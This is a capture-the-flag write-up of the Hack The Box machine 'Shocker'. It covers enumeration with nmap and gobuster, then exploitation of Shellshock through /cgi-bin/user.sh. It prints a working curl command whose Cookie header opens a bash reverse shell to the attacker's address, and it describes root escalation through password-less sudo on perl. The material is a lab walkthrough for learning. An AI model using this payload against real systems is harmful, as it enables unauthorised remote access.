Shocker

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Jacob Shodd

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Shocker

Machine Information
Initial Enumeration
As always, we start with a nmap scan. The results for this box are pretty short with only two services running: http and ssh.
Nmap Results
No immediate exploits came up when searching the versions of apache or openssh, so we'll continue on and enumerate the web service. going directly to port 80 in our browser doesn't bring up anything interesting, just a page with a little text and an image:
With as always with web applications, we start up a directory buster to see what else is hiding in there. I'll use the following command for our initial search:
gobuster dir -u http://10.10.10.56 -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -x html,php,txt -t 50
Gobuster Results
Everything in here looks pretty standard, but /cgi-bin is definitely something we want to check out. This is a directory where sysadmins can place scripts to be executed. That means we could find php, python, bash, etc scripts in here that we could abuse. Lets dig deeper into this directory with another gobuster scan, this time with a more extensive extension check.
gobuster dir -u http://10.10.10.56/cgi-bin -w /usr/share/wordlists/seclists/Discovery/Web-Content/common.txt -x py,sh,php,js -t 50
CGI-Bin Gobuster Results
If we curl the url for user.sh we get the following:
Curling user.sh
Exploitation
Because this box is rated as easy, there is a shell script in the cgi-bin directory, and the name is shocker shellshock is a good bet. We can test this by adding a malicious HTTP Header with curl and execute a reverse shell:
curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/10.10.14.12/4443 0>&1' http://10.10.10.56/cgi-bin/user.sh
Catching Reverse Shell
This gives a user shell and we are able to get the user.txt flag. Now time for some privesc.
If you want to learn more about shellshock, this was a great and quick read: https://fedoramagazine.org/shellshock-how-does-it-actually-work/
Privilege Escalation
As would be expected from a box rated easy, the path to root is quite simple. As with every box, the first thing I do is run sudo -l to see if our current user has sudo access without specifying a password. Lo and behold, we strike gold:
Password-less Sudo Permissions
Using the perl interpreter with sudo access, we can start a /bin/bash process as the root user and obtain the root flag:
Escalating to Root

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Over The Wire

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Initial Enumeration

Exploitation

Privilege Escalation